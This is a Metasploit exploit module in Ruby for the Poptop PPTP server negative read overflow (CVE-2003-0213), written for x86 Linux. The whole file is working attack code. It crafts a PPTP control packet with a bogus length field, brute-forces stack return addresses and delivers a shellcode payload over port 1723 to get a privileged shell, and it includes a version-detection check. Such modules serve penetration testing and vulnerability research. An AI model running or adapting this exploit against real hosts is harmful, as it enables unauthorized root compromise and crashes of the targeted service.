## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Brute def initialize(info = {}) super( update_info( info, 'Name' => 'Poptop Negative Read Overflow', 'Description' => %q{ This is an exploit for the Poptop negative read overflow. This will work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I currently do not have a good way to detect Poptop versions. The server will by default only allow 4 concurrent manager processes (what we run our code in), so you could have a max of 4 shells at once. Using the current method of exploitation, our socket will be closed before we have the ability to run code, preventing the use of Findsock. }, 'Author' => 'spoonm', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2003-0213'], ['OSVDB', '3293'], ['URL', 'https://web.archive.org/web/20210120064041/http://securityfocus.com/archive/1/317995'], ['URL', 'https://web.archive.org/web/20061215104830/http://www.freewebs.com/blightninjas/'], ], 'Privileged' => true, 'Payload' => { # Payload space is dynamically determined 'MinNops' => 16, 'StackAdjustment' => -1088, 'Compat' => { 'ConnectionType' => '-find' } }, 'SaveRegisters' => [ 'esp' ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Targets' => [ [ 'Linux Bruteforce', { 'Bruteforce' => { 'Start' => { 'Ret' => 0xbffffa00 }, 'Stop' => { 'Ret' => 0xbffff000 }, 'Step' => 0 } } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2003-04-09', 'Notes' => { 'Stability' => [CRASH_SERVICE_DOWN], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ Opt::RPORT(1723) ] ) register_advanced_options( [ OptInt.new('PreReturnLength', [ true, 'Space before we hit the return address. Affects PayloadSpace.', 220 ]), OptInt.new('RetLength', [ true, 'Length of returns after payload.', 32 ]), OptInt.new('ExtraSpace', [ true, 'The exploit builds two protocol frames, the header frame and the control frame. ' \ 'ExtraSpace allows you use this space for the payload instead of the protocol (breaking the protocol, but still triggering the bug). ' \ "If this value is <= 128, it doesn't really disobey the protocol, it just uses the Vendor and Hostname fields for payload data " \ "(these should eventually be filled in to look like a real client, ie windows). I've had successful exploitation with this set to 154, but nothing over 128 is suggested.", 0 ]), OptString.new('Hostname', [ false, 'PPTP Packet hostname', '' ]), OptString.new('Vendor', [ true, 'PPTP Packet vendor', 'Microsoft Windows NT' ]), ] ) end # Dynamic payload space calculation def payload_space(_explicit_target = nil) datastore['PreReturnLength'].to_i + datastore['ExtraSpace'].to_i end def build_packet(length) [length, 1, 0x1a2b3c4d, 1, 0].pack('nnNnn') + [1, 0].pack('cc') + [0].pack('n') + [1, 1, 0, 2600].pack('NNnn') + datastore['Hostname'].ljust(64, "\x00") + datastore['Vendor'].ljust(64, "\x00") end def check connect sock.put(build_packet(156)) res = sock.get_once if res && res =~ /MoretonBay/ return CheckCode::Detected end CheckCode::Safe end def brute_exploit(addrs) connect print_status("Trying #{'%.8x' % addrs['Ret']}...") # Construct the evil length packet packet = build_packet(1) + payload.encoded + ([addrs['Ret']].pack('V') * (datastore['RetLength'] / 4)) sock.put(packet) handler disconnect end end